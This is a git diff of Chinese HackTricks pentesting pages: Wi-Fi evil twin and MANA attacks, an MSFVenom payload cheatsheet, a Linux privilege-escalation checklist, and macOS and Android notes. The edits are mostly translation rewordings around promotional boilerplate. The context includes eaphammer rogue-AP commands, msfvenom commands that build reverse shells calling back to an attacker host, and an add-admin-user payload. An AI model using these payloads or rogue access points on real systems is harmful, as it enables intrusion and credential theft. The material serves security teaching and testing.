* 定向探测请求针对特定的 ESSID帮助检测特定网络是否在范围内即使它是一个隐藏网络。
* 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP让站点检查任何首选网络而不披露其 PNL 内容。
* 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP让站点检查任何首选网络,而不透露其 PNL 内容。
## 简单的 AP 并重定向到互联网
@ -557,13 +557,13 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>)
请注意默认情况下如果PNL中的ESSID被保存为WPA保护设备将不会自动连接到开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放恶意双胞胎或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎捕获握手使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它
请注意默认情况下如果PNL中的ESSID被保存为WPA保护设备将不会自动连接到开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放恶意双胞胎或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎捕获握手(使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它
_某些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._
### WPA/WPA2 Evil Twin
您可以创建一个**使用WPA/2的恶意双胞胎**如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何**要完成4路握手**,您还需要**知道**客户端将使用的**密码**。如果您**不知道**它,**连接将无法完成**。
您可以创建一个**使用WPA/2的恶意双胞胎**如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何**要完成4路握手**,您还需要**知道**客户端将使用的**密码**。如果您**不知道**它,**连接将无法完成**。
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -606,7 +606,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
**使用 Airgeddon**
`Airgeddon` 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5因此能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 为你提供了 **持续的恶意双胞胎攻击(嘈杂)****仅在有人连接时创建恶意攻击(平滑)** 的可能性。
![](<../../.gitbook/assets/image (936).png>)
@ -620,17 +620,17 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
现在使用 **`hostapd-wpe`** 启动 **恶意双胞胎**,并使用该修改过的配置如往常一样。还要在执行恶意双胞胎攻击的 **接口** 中启动 **`wireshark`**。
现在或稍后(当你已经捕获了一些认证意图时),你可以在 wireshark 中添加私有 RSA 密钥:`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
现在或稍后(当你已经捕获了一些认证意图时),你可以在 `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` 中将私有 RSA 密钥添加到 wireshark。
添加一个新条目,并用以下值填写表单:**IP 地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件****选择你的密钥文件**,为避免问题选择一个 **没有密码保护的密钥文件**)。
![](<../../.gitbook/assets/image (687).png>)
查看新的 **"解密的 TLS" 标签**
然后查看新的 **"解密的 TLS" 标签**
![](<../../.gitbook/assets/image (231).png>)
## KARMA、MANA、Loud MANA 和已知信标攻击
## KARMA, MANA, Loud MANA 和已知信标攻击
### ESSID 和 MAC 黑白名单
@ -641,7 +641,7 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
2. **基于 MAC 的黑名单**
* 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
3. **基于 SSID 的白名单**
* 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对首选网络列表PNL中不包含这些 ESSID 的设备不可见。
* 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对包含这些 ESSID 的设备不可见。
4. **基于 SSID 的黑名单**
* 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
```bash
@ -665,13 +665,13 @@ name3
```
### KARMA
此方法允许**攻击者创建一个恶意接入点AP对所有探测请求做出响应**,这些请求来自寻求连接网络的设备。技术**通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP**。一旦设备向这个流氓AP发送连接请求它就会完成连接导致设备错误地连接到攻击者的网络。
此方法允许**攻击者创建一个恶意接入点AP对所有探测请求做出响应**,这些请求来自寻求连接网络的设备。技术**通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP**。一旦设备向这个流氓AP发送连接请求它就会完成连接导致设备错误地连接到攻击者的网络。
### MANA
然后,**设备开始忽略未经请求的网络响应**降低了原始karma攻击的有效性。然而一种新的方法被引入,称为**MANA攻击**由Ian de Villiers和Dominic White提出。该方法涉及流氓AP**通过对设备的广播探测请求做出响应捕获设备的首选网络列表PNL**并使用设备之前请求的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了对原始karma攻击的保护。
然后,**设备开始忽略未经请求的网络响应**降低了原始karma攻击的有效性。然而一种新的方法称为**MANA攻击**由Ian de Villiers和Dominic White引入。此方法涉及流氓AP**通过对设备的广播探测请求做出响应捕获设备的首选网络列表PNL**并使用设备之前请求的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了对原始karma攻击的保护。
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称这些信息添加到列表中。当收到广播请求时AP会以与设备列表上的任何网络匹配的信息进行响应诱使设备连接到流氓AP。
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称此信息添加到列表中。当接收到广播请求时AP会以与设备列表中的任何网络匹配的信息做出响应诱使设备连接到流氓AP。
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -683,9 +683,9 @@ MANA攻击通过监控设备的定向和广播探测请求来操作。对于定
```
### Known Beacon attack
当**Loud MANA attack**可能不足以满足需求时,**Known Beacon attack**提供了另一种方法。此方法**通过模拟一个响应任何网络名称的AP暴力破解连接过程循环遍历从字典中派生的潜在ESSID列表**。这模拟了多网络的存在希望能与受害者的PNL中的ESSID匹配从而促使尝试连接到伪造的AP。通过将其与`--loud`选项结合,可以增强攻击,以更具侵略性地捕获设备。
当**Loud MANA attack**可能不足以满足需求时,**Known Beacon attack**提供了另一种方法。此方法**通过模拟一个响应任何网络名称的AP暴力破解连接过程循环遍历从字典中派生的潜在ESSID列表**。这模拟了多网络的存在希望能与受害者的PNL中的ESSID匹配从而促使尝试连接到伪造的AP。通过将其与`--loud`选项结合,可以增强攻击,以更具侵略性地捕获设备。
Eaphammer将此攻击实现为MANA攻击其中列表中的所有ESSID都被充电您还可以将其与`--loud`结合使用,以创建Loud MANA + Known beacons attack
Eaphammer将此攻击实现为MANA攻击其中列表中的所有ESSID都被充电您还可以将其与`--loud`结合以创建Loud MANA + Known beacons attack
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -714,7 +714,7 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
### EvilDirect Hijacking
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它反映了 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具通过指定通道、ESSID 和被冒充设备的 MAC 地址来执行
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它反映了 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行,通过指定通道、ESSID 和被冒充设备的 MAC 地址:
## References
@ -729,9 +729,9 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (使用 Facebook 登录和在强制门户中模仿 WPA)
TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (使用 Facebook 登录并模仿 WPA 在强制门户中)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -747,8 +747,8 @@ TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wif
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并立即与顶级黑客合作!
{% hint style="success" %}
学习实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -756,7 +756,7 @@ TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wif
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,21 +1,21 @@
# MSFVenom - CheatSheet
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -26,9 +26,9 @@
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
了解最新的漏洞赏金启动和重要平台更新
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
***
@ -71,6 +71,8 @@ msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
{% endcode %}
### CMD Shell
{% code overflow="wrap" %}
@ -169,6 +171,8 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}
### WAR
#### 反向Shell
@ -201,18 +205,18 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!

View file

@ -10,12 +10,12 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧
* **通过提交 PR 分享黑客技巧到** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,9 +28,9 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶尖黑客合作!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶尖黑客合作
### **找 Linux 本地权限提升向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **找 Linux 本地权限提升向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [系统信息](privilege-escalation/#system-information)
@ -57,7 +57,7 @@
### [进程](privilege-escalation/#processes)
* [ ] 是否有 **未知软件在运行**
* [ ] 是否有任何软件以 **超出其应有的权限** 运行?
* [ ] 是否有软件以 **超出其应有的权限** 运行?
* [ ] 搜索 **正在运行进程的漏洞**(特别是正在运行的版本)。
* [ ] 你能 **修改任何正在运行进程的二进制文件** 吗?
* [ ] **监控进程**,检查是否有任何有趣的进程频繁运行。
@ -65,7 +65,7 @@
### [计划任务/Cron 任务?](privilege-escalation/#scheduled-jobs)
* [ ] [**PATH**](privilege-escalation/#cron-path) 是否被某些 cron 修改,你能 **写入**
* [ ] [**PATH**](privilege-escalation/#cron-path) 是否被某些 cron 修改,并且你可以 **写入**
* [ ] 在 cron 任务中有任何 [**通配符**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) 吗?
* [ ] 有一些 [**可修改的脚本**](privilege-escalation/#cron-script-overwriting-and-symlink) 正在 **执行** 或在 **可修改文件夹** 中?
* [ ] 你是否检测到某些 **脚本** 可能或正在被 [**频繁执行**](privilege-escalation/#frequent-cron-jobs)?(每 1、2 或 5 分钟)
@ -99,11 +99,11 @@
### [用户](privilege-escalation/#users)
* [ ] 通用用户/组 **枚举**
* [ ] 你有一个 **非常大的 UID** 吗?机器 **是否存在漏洞**
* [ ] 你能 [**通过你所属的组提升权限**](privilege-escalation/interesting-groups-linux-pe/) 吗?
* [ ] 你有一个 **非常大的 UID** 吗?机器 **是否脆弱**
* [ ] 你能通过你所属的 [**组**](privilege-escalation/interesting-groups-linux-pe/) **提升权限** 吗?
* [ ] **剪贴板** 数据?
* [ ] 密码策略?
* [ ] 尝试 **使用** 你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户**尝试不带密码登录。
* [ ] 尝试 **使用** 你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户**。尝试不带密码登录。
### [可写 PATH](privilege-escalation/#writable-path-abuses)
@ -113,7 +113,7 @@
* [ ] 你能执行 **任何带 sudo 的命令** 吗?你能用它来以 root 身份 **读取、写入或执行** 任何东西吗?([**GTFOBins**](https://gtfobins.github.io)
* [ ] 是否有任何 **可利用的 SUID 二进制文件**[**GTFOBins**](https://gtfobins.github.io)
* [ ] [**sudo** 命令是否 **受限于路径**?你能 **绕过** 限制吗](privilege-escalation/#sudo-execution-bypassing-paths)
* [ ] [**sudo** 命令是否 **受限** **路径**?你能 **绕过** 限制吗](privilege-escalation/#sudo-execution-bypassing-paths)
* [ ] [**没有指定路径的 Sudo/SUID 二进制文件**](privilege-escalation/#sudo-command-suid-binary-without-command-path)
* [ ] [**指定路径的 SUID 二进制文件**](privilege-escalation/#suid-binary-with-command-path)?绕过
* [ ] [**LD\_PRELOAD 漏洞**](privilege-escalation/#ld\_preload)
@ -147,11 +147,11 @@
* [ ] **passwd/shadow 文件** - 读取敏感数据?写入权限提升?
* [ ] **检查常见的有趣文件夹** 是否有敏感数据
* [ ] **奇怪的位置/拥有的文件,** 你可能有权限访问或更改可执行文件
* [ ] **在最后几分钟内修改**
* [ ] **最近几分钟内修改过**
* [ ] **Sqlite 数据库文件**
* [ ] **隐藏文件**
* [ ] **PATH 中的脚本/二进制文件**
* [ ] **Web 文件**(密码?)
* [ ] **网页文件**(密码?)
* [ ] **备份**
* [ ] **已知包含密码的文件**:使用 **Linpeas** 和 **LaZagne**
* [ ] **通用搜索**
@ -168,7 +168,7 @@
* [ ] 你能 [**利用 NFS 提升权限**](privilege-escalation/#nfs-privilege-escalation) 吗?
* [ ] 你需要 [**逃离限制性 shell**](privilege-escalation/#escaping-from-restricted-shells) 吗?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -181,7 +181,7 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶尖黑客合作!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶尖黑客合作
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -193,7 +193,7 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧
* **通过提交 PR 分享黑客技巧到** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -23,12 +23,12 @@
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
通过实时新闻和见解,保持对快速变化的黑客世界的了解
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们,和顶尖黑客一起合作!** [**Discord**](https://discord.com/invite/N3FrSbmwdy)
## 基础 MacOS
@ -58,14 +58,14 @@
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* 常见的 macOS n**etwork 服务与协议**
* 常见的 macOS 网络服务与协议
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
* **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* 下载 `tar.gz` 文件时,将 URL 例如 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 更改为 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
* 下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -94,20 +94,20 @@
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件,用户可能会利用这一点来 **提升权限**。\
这可能发生在以下情况下:
* 使用的文件已经由用户创建(属于用户
* 使用的文件已经由用户创建(由用户拥有
* 使用的文件因组而可被用户写入
* 使用的文件位于用户拥有的目录中(用户可以创建该文件)
* 使用的文件位于 root 拥有的目录中,但用户因组而具有写入权限(用户可以创建该文件)
能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向其他位置。
能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向另一个位置。
对于这漏洞,不要忘记 **检查易受攻击的 `.pkg` 安装程序**
对于这漏洞,不要忘记 **检查易受攻击的 `.pkg` 安装程序**
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### 文件扩展名与 URL 方案应用处理程序
### 文件扩展名与 URL 方案应用程序处理程序
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
@ -145,7 +145,7 @@
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -153,12 +153,12 @@
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
通过实时新闻和见解,保持对快速变化的黑客世界的了解
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们,和顶尖黑客一起合作!** [**Discord**](https://discord.com/invite/N3FrSbmwdy)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -9,13 +9,13 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -41,14 +41,14 @@
## ADB (Android 调试桥)
这是您连接到 Android 设备(模拟或物理)所需的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使 **文件** 双向 **复制**、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使 **双向复制** 文件、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
查看以下 [**ADB 命令**](adb-commands.md) 列表,了解如何使用 adb。
## Smali
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以 **学习如何反编译 APK修改 Smali 代码并重新编译 APK**,以实现新功能](smali-changes.md)。这在 **动态分析** 中作为 **多项测试的替代方案**非常有用。然后,**始终记住这个可能性**。
[**在本教程中**,您可以 **学习如何反编译 APK修改 Smali 代码并重新编译 APK**,以实现新功能](smali-changes.md)。这在 **动态分析** 期间作为多项测试的 **替代方案** 可能非常有用。然后,**始终记住这个可能性**。
## 其他有趣的技巧
@ -90,14 +90,14 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**检查应用程序的 \_Manifest.xml**_\*\* 和 \*\*_**strings.xml**\_\*\* 文件可以揭示潜在的安全漏洞\*\*。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
**Manifest.xml** 中识别的**漏洞**包括:
**Manifest.xml** 中识别的**漏洞**包括:
* **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
